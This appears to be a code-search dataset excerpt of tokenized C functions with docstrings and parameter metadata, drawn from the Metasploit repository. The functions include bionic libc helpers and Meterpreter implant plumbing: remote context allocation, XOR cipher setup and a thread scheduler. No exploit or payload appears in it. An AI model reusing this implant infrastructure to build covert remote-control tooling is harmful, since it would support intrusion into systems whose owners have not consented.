"class",
",",
"type",
",",
"answer",
",",
"anslen",
")",
";",
"if",
"(",
"ret",
">",
"0",
")",
"return",
"(",
"ret",
")",
";",
"if",
"(",
"errno",
"==",
"ECONNREFUSED",
")",
"{",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"TRY_AGAIN",
")",
";",
"return",
"(",
"-1",
")",
";",
"}",
"switch",
"(",
"statp",
"->",
"res_h_errno",
")",
"{",
"case",
"NO_DATA",
":",
"got_nodata",
"++",
";",
"case",
"HOST_NOT_FOUND",
":",
"break",
";",
"case",
"TRY_AGAIN",
":",
"if",
"(",
"hp",
"->",
"rcode",
"==",
"SERVFAIL",
")",
"{",
"got_servfail",
"++",
";",
"break",
";",
"}",
"default",
":",
"done",
"++",
";",
"}",
"if",
"(",
"(",
"statp",
"->",
"options",
"&",
"RES_DNSRCH",
")",
"==",
"0U",
")",
"done",
"++",
";",
"}",
"}",
"if",
"(",
"(",
"dots",
"||",
"!",
"searched",
"||",
"(",
"statp",
"->",
"options",
"&",
"RES_NOTLDQUERY",
")",
"==",
"0U",
")",
"&&",
"!",
"(",
"tried_as_is",
"||",
"root_on_list",
")",
")",
"{",
"ret",
"=",
"res_nquerydomain",
"(",
"statp",
",",
"name",
",",
"NULL",
",",
"class",
",",
"type",
",",
"answer",
",",
"anslen",
")",
";",
"if",
"(",
"ret",
">",
"0",
")",
"return",
"(",
"ret",
")",
";",
"}",
"if",
"(",
"saved_herrno",
"!=",
"-1",
")",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"saved_herrno",
")",
";",
"else",
"if",
"(",
"got_nodata",
")",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"NO_DATA",
")",
";",
"else",
"if",
"(",
"got_servfail",
")",
"RES_SET_H_ERRNO",
"(",
"statp",
",",
"TRY_AGAIN",
")",
";",
"return",
"(",
"-1",
")",
";",
"}"
] | Formulate a normal query, send, and retrieve answer in supplied buffer. | [
"Formulate",
"a",
"normal",
"query",
"send",
"and",
"retrieve",
"answer",
"in",
"supplied",
"buffer",
"."
] | [
"/* domain name */",
"/* class and type of query */",
"/* buffer to put answer */",
"/* size of answer */",
"/* True if we never query. */",
"/* If there aren't any dots, it could be a user-level alias. */",
"/*\n\t * If there are enough dots in the name, let's just give it a\n\t * try 'as is'. The threshold can be set with the \"ndots\" option.\n\t * Also, query 'as is', if there is a trailing dot in the name.\n\t */",
"/*\n\t * We do at least one level of search if\n\t *\t- there is no dot and RES_DEFNAME is set, or\n\t *\t- there is at least one dot, there is no trailing dot,\n\t *\t and RES_DNSRCH is set.\n\t */",
"/*\n\t\t\t * If no server present, give up.\n\t\t\t * If name isn't found in this domain,\n\t\t\t * keep trying higher domains in the search list\n\t\t\t * (if that's enabled).\n\t\t\t * On a NO_DATA error, keep trying, otherwise\n\t\t\t * a wildcard entry of another type could keep us\n\t\t\t * from finding this entry higher in the domain.\n\t\t\t * If we get some other error (negative answer or\n\t\t\t * server failure), then stop searching up,\n\t\t\t * but try the input name below in case it's\n\t\t\t * fully-qualified.\n\t\t\t */",
"/* FALLTHROUGH */",
"/* keep trying */",
"/* try next search element, if any */",
"/* FALLTHROUGH */",
"/* anything else implies that we're done */",
"/* if we got here for some reason other than DNSRCH,\n\t\t\t * we only wanted one iteration of the loop, so stop.\n\t\t\t */",
"/*\n\t * If the query has not already been tried as is then try it\n\t * unless RES_NOTLDQUERY is set and there were no dots.\n\t */",
"/* if we got here, we didn't satisfy the search.\n\t * if we did an initial full query, return that query's H_ERRNO\n\t * (note that we wouldn't be here if that query had succeeded).\n\t * else if we ever got a nodata, send that back as the reason.\n\t * else send back meaningless H_ERRNO, that being the one from\n\t * the last DNSRCH we did.\n\t */"
] | [
{
"param": "statp",
"type": "res_state"
},
{
"param": "name",
"type": "char"
},
{
"param": "class",
"type": "int"
},
{
"param": "type",
"type": "int"
},
{
"param": "answer",
"type": "u_char"
},
{
"param": "anslen",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "statp",
"type": "res_state",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "name",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "class",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "type",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "answer",
"type": "u_char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "anslen",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
8e480a454609ec9986742dbd0b65feeb8468a13a | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/inet/inet_addr.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | inet_addr | in_addr_t | in_addr_t
inet_addr(const char *cp)
{
struct in_addr val;
if (inet_aton(cp, &val))
return (val.s_addr);
return (INADDR_NONE);
} | /*
* Ascii internet address interpretation routine.
* The value returned is in network order.
*/ | Ascii internet address interpretation routine.
The value returned is in network order. | [
"Ascii",
"internet",
"address",
"interpretation",
"routine",
".",
"The",
"value",
"returned",
"is",
"in",
"network",
"order",
"."
] | in_addr_t
inet_addr(const char *cp)
{
struct in_addr val;
if (inet_aton(cp, &val))
return (val.s_addr);
return (INADDR_NONE);
} | [
"in_addr_t",
"inet_addr",
"(",
"const",
"char",
"*",
"cp",
")",
"{",
"struct",
"in_addr",
"val",
";",
"if",
"(",
"inet_aton",
"(",
"cp",
",",
"&",
"val",
")",
")",
"return",
"(",
"val",
".",
"s_addr",
")",
";",
"return",
"(",
"INADDR_NONE",
")",
";",
"}"
] | Ascii internet address interpretation routine. | [
"Ascii",
"internet",
"address",
"interpretation",
"routine",
"."
] | [] | [
{
"param": "cp",
"type": "char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "cp",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
31aaaa924c83d7a10dc88917bcab4460091484c4 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libm/src/s_fmaf.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | fmaf | float | float
fmaf(float x, float y, float z)
{
return ((double)x * y + z);
} | /*
* Fused multiply-add: Compute x * y + z with a single rounding error.
*
* A double has more than twice as much precision than a float, so
* direct double-precision arithmetic suffices.
*
* XXX We are relying on the compiler to convert from double to float
* using the current rounding mode and with the appropriate
* side-effects. But on at least one platform (gcc 3.4.2/sparc64),
* this appears to be too much to ask for. The precision
* reduction should be done manually.
*/ | Fused multiply-add: Compute x * y + z with a single rounding error.
A double has more than twice as much precision than a float, so
direct double-precision arithmetic suffices.
XXX We are relying on the compiler to convert from double to float
using the current rounding mode and with the appropriate
side-effects. But on at least one platform (gcc 3.4.2/sparc64),
this appears to be too much to ask for. The precision
reduction should be done manually. | [
"Fused",
"multiply",
"-",
"add",
":",
"Compute",
"x",
"*",
"y",
"+",
"z",
"with",
"a",
"single",
"rounding",
"error",
".",
"A",
"double",
"has",
"more",
"than",
"twice",
"as",
"much",
"precision",
"than",
"a",
"float",
"so",
"direct",
"double",
"-",
"precision",
"arithmetic",
"suffices",
".",
"XXX",
"We",
"are",
"relying",
"on",
"the",
"compiler",
"to",
"convert",
"from",
"double",
"to",
"float",
"using",
"the",
"current",
"rounding",
"mode",
"and",
"with",
"the",
"appropriate",
"side",
"-",
"effects",
".",
"But",
"on",
"at",
"least",
"one",
"platform",
"(",
"gcc",
"3",
".",
"4",
".",
"2",
"/",
"sparc64",
")",
"this",
"appears",
"to",
"be",
"too",
"much",
"to",
"ask",
"for",
".",
"The",
"precision",
"reduction",
"should",
"be",
"done",
"manually",
"."
] | float
fmaf(float x, float y, float z)
{
return ((double)x * y + z);
} | [
"float",
"fmaf",
"(",
"float",
"x",
",",
"float",
"y",
",",
"float",
"z",
")",
"{",
"return",
"(",
"(",
"double",
")",
"x",
"*",
"y",
"+",
"z",
")",
";",
"}"
] | Fused multiply-add: Compute x * y + z with a single rounding error. | [
"Fused",
"multiply",
"-",
"add",
":",
"Compute",
"x",
"*",
"y",
"+",
"z",
"with",
"a",
"single",
"rounding",
"error",
"."
] | [] | [
{
"param": "x",
"type": "float"
},
{
"param": "y",
"type": "float"
},
{
"param": "z",
"type": "float"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "x",
"type": "float",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "y",
"type": "float",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "z",
"type": "float",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
cd3b71c0d3e0aa6ba4f1fda94b0d03b7ca0fd5d1 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/string/strpbrk.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | strpbrk | char | char *
strpbrk(const char *s1, const char *s2)
{
const char *scanp;
int c, sc;
while ((c = *s1++) != 0) {
for (scanp = s2; (sc = *scanp++) != 0;)
if (sc == c)
return ((char *)(s1 - 1));
}
return (NULL);
} | /*
* Find the first occurrence in s1 of a character in s2 (excluding NUL).
*/ | Find the first occurrence in s1 of a character in s2 (excluding NUL). | [
"Find",
"the",
"first",
"occurrence",
"in",
"s1",
"of",
"a",
"character",
"in",
"s2",
"(",
"excluding",
"NUL",
")",
"."
] | char *
strpbrk(const char *s1, const char *s2)
{
const char *scanp;
int c, sc;
while ((c = *s1++) != 0) {
for (scanp = s2; (sc = *scanp++) != 0;)
if (sc == c)
return ((char *)(s1 - 1));
}
return (NULL);
} | [
"char",
"*",
"strpbrk",
"(",
"const",
"char",
"*",
"s1",
",",
"const",
"char",
"*",
"s2",
")",
"{",
"const",
"char",
"*",
"scanp",
";",
"int",
"c",
",",
"sc",
";",
"while",
"(",
"(",
"c",
"=",
"*",
"s1",
"++",
")",
"!=",
"0",
")",
"{",
"for",
"(",
"scanp",
"=",
"s2",
";",
"(",
"sc",
"=",
"*",
"scanp",
"++",
")",
"!=",
"0",
";",
")",
"if",
"(",
"sc",
"==",
"c",
")",
"return",
"(",
"(",
"char",
"*",
")",
"(",
"s1",
"-",
"1",
")",
")",
";",
"}",
"return",
"(",
"NULL",
")",
";",
"}"
] | Find the first occurrence in s1 of a character in s2 (excluding NUL). | [
"Find",
"the",
"first",
"occurrence",
"in",
"s1",
"of",
"a",
"character",
"in",
"s2",
"(",
"excluding",
"NUL",
")",
"."
] | [] | [
{
"param": "s1",
"type": "char"
},
{
"param": "s2",
"type": "char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "s1",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "s2",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
9071aea39a0f248f1f8340fcd30d30a7bfda5da4 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/remote.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | remote_allocate | Remote | Remote *remote_allocate(SOCKET fd)
{
Remote *remote = NULL;
// Allocate the remote context
if ((remote = (Remote *)malloc(sizeof(Remote))))
{
memset(remote, 0, sizeof(Remote));
// Set the file descriptor
remote->fd = fd;
remote->lock = lock_create();
// If we failed to create the lock we must fail to create the remote
// as we wont be able to synchronize communication correctly.
if( remote->lock == NULL )
{
remote_deallocate( remote );
return NULL;
}
}
return remote;
} | /*
* Instantiate a remote context from a file descriptor
*/ | Instantiate a remote context from a file descriptor | [
"Instantiate",
"a",
"remote",
"context",
"from",
"a",
"file",
"descriptor"
] | Remote *remote_allocate(SOCKET fd)
{
Remote *remote = NULL;
if ((remote = (Remote *)malloc(sizeof(Remote))))
{
memset(remote, 0, sizeof(Remote));
remote->fd = fd;
remote->lock = lock_create();
if( remote->lock == NULL )
{
remote_deallocate( remote );
return NULL;
}
}
return remote;
} | [
"Remote",
"*",
"remote_allocate",
"(",
"SOCKET",
"fd",
")",
"{",
"Remote",
"*",
"remote",
"=",
"NULL",
";",
"if",
"(",
"(",
"remote",
"=",
"(",
"Remote",
"*",
")",
"malloc",
"(",
"sizeof",
"(",
"Remote",
")",
")",
")",
")",
"{",
"memset",
"(",
"remote",
",",
"0",
",",
"sizeof",
"(",
"Remote",
")",
")",
";",
"remote",
"->",
"fd",
"=",
"fd",
";",
"remote",
"->",
"lock",
"=",
"lock_create",
"(",
")",
";",
"if",
"(",
"remote",
"->",
"lock",
"==",
"NULL",
")",
"{",
"remote_deallocate",
"(",
"remote",
")",
";",
"return",
"NULL",
";",
"}",
"}",
"return",
"remote",
";",
"}"
] | Instantiate a remote context from a file descriptor | [
"Instantiate",
"a",
"remote",
"context",
"from",
"a",
"file",
"descriptor"
] | [
"// Allocate the remote context\r",
"// Set the file descriptor\r",
"// If we failed to create the lock we must fail to create the remote\r",
"// as we wont be able to synchronize communication correctly.\r"
] | [
{
"param": "fd",
"type": "SOCKET"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "fd",
"type": "SOCKET",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
9071aea39a0f248f1f8340fcd30d30a7bfda5da4 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/remote.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | remote_set_cipher | DWORD | DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
{
DWORD res = ERROR_SUCCESS;
if (remote->crypto)
free(remote->crypto);
do
{
// Allocate storage for the crypto context
if (!(remote->crypto = (CryptoContext *)malloc(sizeof(CryptoContext))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(remote->crypto, 0, sizeof(CryptoContext));
// Set the remote pointer on the crypto context
remote->crypto->remote = remote;
// Populate handlers according to what cipher was selected
if (!strcmp(cipher, "xor"))
res = xor_populate_handlers(remote->crypto);
else
res = ERROR_NOT_FOUND;
// If we got a context and it wants to process the request, do it.
if ((res == ERROR_SUCCESS) &&
(remote->crypto->handlers.process_negotiate_request))
res = remote->crypto->handlers.process_negotiate_request(
remote->crypto, initializer);
} while (0);
// If we fail, destroy the crypto context should it have been allocated.
if (res != ERROR_SUCCESS)
{
if (remote->crypto)
free(remote->crypto);
remote->crypto = NULL;
}
return res;
} | /*
* Initializes a given cipher as instructed to by the remote endpoint
*/ | Initializes a given cipher as instructed to by the remote endpoint | [
"Initializes",
"a",
"given",
"cipher",
"as",
"instructed",
"to",
"by",
"the",
"remote",
"endpoint"
] | DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
{
DWORD res = ERROR_SUCCESS;
if (remote->crypto)
free(remote->crypto);
do
{
if (!(remote->crypto = (CryptoContext *)malloc(sizeof(CryptoContext))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(remote->crypto, 0, sizeof(CryptoContext));
remote->crypto->remote = remote;
if (!strcmp(cipher, "xor"))
res = xor_populate_handlers(remote->crypto);
else
res = ERROR_NOT_FOUND;
if ((res == ERROR_SUCCESS) &&
(remote->crypto->handlers.process_negotiate_request))
res = remote->crypto->handlers.process_negotiate_request(
remote->crypto, initializer);
} while (0);
if (res != ERROR_SUCCESS)
{
if (remote->crypto)
free(remote->crypto);
remote->crypto = NULL;
}
return res;
} | [
"DWORD",
"remote_set_cipher",
"(",
"Remote",
"*",
"remote",
",",
"LPCSTR",
"cipher",
",",
"Packet",
"*",
"initializer",
")",
"{",
"DWORD",
"res",
"=",
"ERROR_SUCCESS",
";",
"if",
"(",
"remote",
"->",
"crypto",
")",
"free",
"(",
"remote",
"->",
"crypto",
")",
";",
"do",
"{",
"if",
"(",
"!",
"(",
"remote",
"->",
"crypto",
"=",
"(",
"CryptoContext",
"*",
")",
"malloc",
"(",
"sizeof",
"(",
"CryptoContext",
")",
")",
")",
")",
"{",
"res",
"=",
"ERROR_NOT_ENOUGH_MEMORY",
";",
"break",
";",
"}",
"memset",
"(",
"remote",
"->",
"crypto",
",",
"0",
",",
"sizeof",
"(",
"CryptoContext",
")",
")",
";",
"remote",
"->",
"crypto",
"->",
"remote",
"=",
"remote",
";",
"if",
"(",
"!",
"strcmp",
"(",
"cipher",
",",
"\"",
"\"",
")",
")",
"res",
"=",
"xor_populate_handlers",
"(",
"remote",
"->",
"crypto",
")",
";",
"else",
"res",
"=",
"ERROR_NOT_FOUND",
";",
"if",
"(",
"(",
"res",
"==",
"ERROR_SUCCESS",
")",
"&&",
"(",
"remote",
"->",
"crypto",
"->",
"handlers",
".",
"process_negotiate_request",
")",
")",
"res",
"=",
"remote",
"->",
"crypto",
"->",
"handlers",
".",
"process_negotiate_request",
"(",
"remote",
"->",
"crypto",
",",
"initializer",
")",
";",
"}",
"while",
"(",
"0",
")",
";",
"if",
"(",
"res",
"!=",
"ERROR_SUCCESS",
")",
"{",
"if",
"(",
"remote",
"->",
"crypto",
")",
"free",
"(",
"remote",
"->",
"crypto",
")",
";",
"remote",
"->",
"crypto",
"=",
"NULL",
";",
"}",
"return",
"res",
";",
"}"
] | Initializes a given cipher as instructed to by the remote endpoint | [
"Initializes",
"a",
"given",
"cipher",
"as",
"instructed",
"to",
"by",
"the",
"remote",
"endpoint"
] | [
"// Allocate storage for the crypto context\r",
"// Set the remote pointer on the crypto context\r",
"// Populate handlers according to what cipher was selected\r",
"// If we got a context and it wants to process the request, do it.\r",
"// If we fail, destroy the crypto context should it have been allocated.\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "cipher",
"type": "LPCSTR"
},
{
"param": "initializer",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "cipher",
"type": "LPCSTR",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "initializer",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
8b3237541162a3656deaaaf27924e1f0f462406b | Oxicode/metasploit-framework | external/source/meterpreter/source/common/arch/win/scheduler.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | scheduler_initialize | DWORD | DWORD scheduler_initialize( Remote * remote )
{
DWORD result = ERROR_SUCCESS;
dprintf( "[SCHEDULER] entering scheduler_initialize." );
if( remote == NULL )
return ERROR_INVALID_HANDLE;
schedulerThreadList = list_create();
if( schedulerThreadList == NULL )
return ERROR_INVALID_HANDLE;
schedulerRemote = remote;
dprintf( "[SCHEDULER] leaving scheduler_initialize." );
return result;
} | /*
* Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable.
*/ | Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable. | [
"Initialize",
"the",
"scheduler",
"subsystem",
".",
"Must",
"be",
"called",
"before",
"any",
"calls",
"to",
"scheduler_insert_waitable",
"."
] | DWORD scheduler_initialize( Remote * remote )
{
DWORD result = ERROR_SUCCESS;
dprintf( "[SCHEDULER] entering scheduler_initialize." );
if( remote == NULL )
return ERROR_INVALID_HANDLE;
schedulerThreadList = list_create();
if( schedulerThreadList == NULL )
return ERROR_INVALID_HANDLE;
schedulerRemote = remote;
dprintf( "[SCHEDULER] leaving scheduler_initialize." );
return result;
} | [
"DWORD",
"scheduler_initialize",
"(",
"Remote",
"*",
"remote",
")",
"{",
"DWORD",
"result",
"=",
"ERROR_SUCCESS",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"if",
"(",
"remote",
"==",
"NULL",
")",
"return",
"ERROR_INVALID_HANDLE",
";",
"schedulerThreadList",
"=",
"list_create",
"(",
")",
";",
"if",
"(",
"schedulerThreadList",
"==",
"NULL",
")",
"return",
"ERROR_INVALID_HANDLE",
";",
"schedulerRemote",
"=",
"remote",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"return",
"result",
";",
"}"
] | Initialize the scheduler subsystem. | [
"Initialize",
"the",
"scheduler",
"subsystem",
"."
] | [] | [
{
"param": "remote",
"type": "Remote"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
8b3237541162a3656deaaaf27924e1f0f462406b | Oxicode/metasploit-framework | external/source/meterpreter/source/common/arch/win/scheduler.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | scheduler_destroy | DWORD | DWORD scheduler_destroy( VOID )
{
DWORD result = ERROR_SUCCESS;
DWORD index = 0;
DWORD count = 0;
LIST * jlist = list_create();
THREAD * thread = NULL;
dprintf( "[SCHEDULER] entering scheduler_destroy." );
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
list_push( jlist, thread );
thread_sigterm( thread );
}
lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );
while( TRUE )
{
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
thread = (THREAD *)list_pop( jlist );
if( thread == NULL )
break;
dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );
thread_join( thread );
}
dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );
list_destroy( jlist );
list_destroy( schedulerThreadList );
schedulerThreadList = NULL;
dprintf( "[SCHEDULER] leaving scheduler_destroy." );
return result;
} | /*
* Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
* this function blocks untill all waitable threads have terminated.
*/ | Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
this function blocks untill all waitable threads have terminated. | [
"Destroy",
"the",
"scheduler",
"subsystem",
".",
"All",
"waitable",
"threads",
"at",
"signaled",
"to",
"terminate",
".",
"this",
"function",
"blocks",
"untill",
"all",
"waitable",
"threads",
"have",
"terminated",
"."
] | DWORD scheduler_destroy( VOID )
{
DWORD result = ERROR_SUCCESS;
DWORD index = 0;
DWORD count = 0;
LIST * jlist = list_create();
THREAD * thread = NULL;
dprintf( "[SCHEDULER] entering scheduler_destroy." );
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
list_push( jlist, thread );
thread_sigterm( thread );
}
lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );
while( TRUE )
{
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
thread = (THREAD *)list_pop( jlist );
if( thread == NULL )
break;
dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );
thread_join( thread );
}
dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );
list_destroy( jlist );
list_destroy( schedulerThreadList );
schedulerThreadList = NULL;
dprintf( "[SCHEDULER] leaving scheduler_destroy." );
return result;
} | [
"DWORD",
"scheduler_destroy",
"(",
"VOID",
")",
"{",
"DWORD",
"result",
"=",
"ERROR_SUCCESS",
";",
"DWORD",
"index",
"=",
"0",
";",
"DWORD",
"count",
"=",
"0",
";",
"LIST",
"*",
"jlist",
"=",
"list_create",
"(",
")",
";",
"THREAD",
"*",
"thread",
"=",
"NULL",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"lock_acquire",
"(",
"schedulerThreadList",
"->",
"lock",
")",
";",
"count",
"=",
"list_count",
"(",
"schedulerThreadList",
")",
";",
"for",
"(",
"index",
"=",
"0",
";",
"index",
"<",
"count",
";",
"index",
"++",
")",
"{",
"thread",
"=",
"(",
"THREAD",
"*",
")",
"list_get",
"(",
"schedulerThreadList",
",",
"index",
")",
";",
"if",
"(",
"thread",
"==",
"NULL",
")",
"continue",
";",
"list_push",
"(",
"jlist",
",",
"thread",
")",
";",
"thread_sigterm",
"(",
"thread",
")",
";",
"}",
"lock_release",
"(",
"schedulerThreadList",
"->",
"lock",
")",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"while",
"(",
"TRUE",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"thread",
"=",
"(",
"THREAD",
"*",
")",
"list_pop",
"(",
"jlist",
")",
";",
"if",
"(",
"thread",
"==",
"NULL",
")",
"break",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"thread",
")",
";",
"thread_join",
"(",
"thread",
")",
";",
"}",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"list_destroy",
"(",
"jlist",
")",
";",
"list_destroy",
"(",
"schedulerThreadList",
")",
";",
"schedulerThreadList",
"=",
"NULL",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"return",
"result",
";",
"}"
] | Destroy the scheduler subsystem. | [
"Destroy",
"the",
"scheduler",
"subsystem",
"."
] | [] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
8b3237541162a3656deaaaf27924e1f0f462406b | Oxicode/metasploit-framework | external/source/meterpreter/source/common/arch/win/scheduler.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | scheduler_insert_waitable | DWORD | DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine )
{
DWORD result = ERROR_SUCCESS;
THREAD * swt = NULL;
WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) );
if( entry == NULL )
return ERROR_NOT_ENOUGH_MEMORY;
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine );
memset( entry, 0, sizeof( WaitableEntry ) );
entry->remote = schedulerRemote;
entry->waitable = waitable;
entry->context = context;
entry->routine = routine;
swt = thread_create( scheduler_waitable_thread, entry, NULL );
if( swt != NULL )
{
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
thread_run( swt );
}
else
{
free( entry );
result = ERROR_INVALID_HANDLE;
}
dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" );
return result;
} | /*
* Insert a new waitable thread for checking and processing.
*/ | Insert a new waitable thread for checking and processing. | [
"Insert",
"a",
"new",
"waitable",
"thread",
"for",
"checking",
"and",
"processing",
"."
] | DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine )
{
DWORD result = ERROR_SUCCESS;
THREAD * swt = NULL;
WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) );
if( entry == NULL )
return ERROR_NOT_ENOUGH_MEMORY;
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine );
memset( entry, 0, sizeof( WaitableEntry ) );
entry->remote = schedulerRemote;
entry->waitable = waitable;
entry->context = context;
entry->routine = routine;
swt = thread_create( scheduler_waitable_thread, entry, NULL );
if( swt != NULL )
{
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
thread_run( swt );
}
else
{
free( entry );
result = ERROR_INVALID_HANDLE;
}
dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" );
return result;
} | [
"DWORD",
"scheduler_insert_waitable",
"(",
"HANDLE",
"waitable",
",",
"LPVOID",
"context",
",",
"WaitableNotifyRoutine",
"routine",
")",
"{",
"DWORD",
"result",
"=",
"ERROR_SUCCESS",
";",
"THREAD",
"*",
"swt",
"=",
"NULL",
";",
"WaitableEntry",
"*",
"entry",
"=",
"(",
"WaitableEntry",
"*",
")",
"malloc",
"(",
"sizeof",
"(",
"WaitableEntry",
")",
")",
";",
"if",
"(",
"entry",
"==",
"NULL",
")",
"return",
"ERROR_NOT_ENOUGH_MEMORY",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"waitable",
",",
"context",
",",
"routine",
")",
";",
"memset",
"(",
"entry",
",",
"0",
",",
"sizeof",
"(",
"WaitableEntry",
")",
")",
";",
"entry",
"->",
"remote",
"=",
"schedulerRemote",
";",
"entry",
"->",
"waitable",
"=",
"waitable",
";",
"entry",
"->",
"context",
"=",
"context",
";",
"entry",
"->",
"routine",
"=",
"routine",
";",
"swt",
"=",
"thread_create",
"(",
"scheduler_waitable_thread",
",",
"entry",
",",
"NULL",
")",
";",
"if",
"(",
"swt",
"!=",
"NULL",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"swt",
")",
";",
"thread_run",
"(",
"swt",
")",
";",
"}",
"else",
"{",
"free",
"(",
"entry",
")",
";",
"result",
"=",
"ERROR_INVALID_HANDLE",
";",
"}",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"return",
"result",
";",
"}"
] | Insert a new waitable thread for checking and processing. | [
"Insert",
"a",
"new",
"waitable",
"thread",
"for",
"checking",
"and",
"processing",
"."
] | [] | [
{
"param": "waitable",
"type": "HANDLE"
},
{
"param": "context",
"type": "LPVOID"
},
{
"param": "routine",
"type": "WaitableNotifyRoutine"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "waitable",
"type": "HANDLE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "context",
"type": "LPVOID",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "routine",
"type": "WaitableNotifyRoutine",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
